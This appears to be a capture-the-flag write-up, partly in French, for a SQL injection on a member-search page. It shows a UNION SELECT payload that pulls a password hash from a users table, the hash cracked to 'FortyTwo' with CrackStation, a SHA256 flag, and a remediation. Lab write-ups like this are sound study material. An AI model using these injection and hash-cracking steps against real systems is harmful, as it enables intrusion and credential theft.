

SQL2



HOME SURVEY MEMBERS

```
ID: -1 UNION SELECT 1, countersign FROM users limit 3, 1
First name: l
Surname : 5ff9d0165b4f92b14994e5c685cdce28
```

SEARCH MEMBER BY ID:



SUBMIT

The screenshot shows the CrackStation interface. At the top, there's a navigation bar with links for "CrackStation", "Password Hashing Security", and "Defuse Security". On the right, there are links for "Defuse.ca" and "Twitter". The main title is "Free Password Hash Cracker". Below it, a text input field contains the hash value: "5ff9d0165b4f92b14994e5c685cdce28". To the right of the input field is a reCAPTCHA verification box. A "Crack Hashes" button is located below the reCAPTCHA. The results table has three columns: "Hash", "Type", and "Result". The first row in the table corresponds to the input hash. A note at the bottom says "Color Codes: Green Exact match, Yellow Partial match, Red Not found." Below the table is a link to "Download CrackStation's Wordlist".

Hash	Type	Result
5ff9d0165b4f92b14994e5c685cdce28	md5	FortyTwo

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

[Download CrackStation's Wordlist](#)

Text

fortytwo

SHA256 Hash

10a16d834f9b1e4068b25c4c46fe0284e99e44dceaf08098fc83925ba6310ff5
98fc83925ba6310ff5

10a16d834f9b1e4068b25c4c46fe0284e99e44dceaf08098fc83925ba6310ff5

L'application concatène directement l'entrée utilisateur (le paramètre id) dans la chaîne de requête SQL, sans vérification ni échappement.

Remédiation :

Forcer à ne traiter que des nombres entiers et positifs.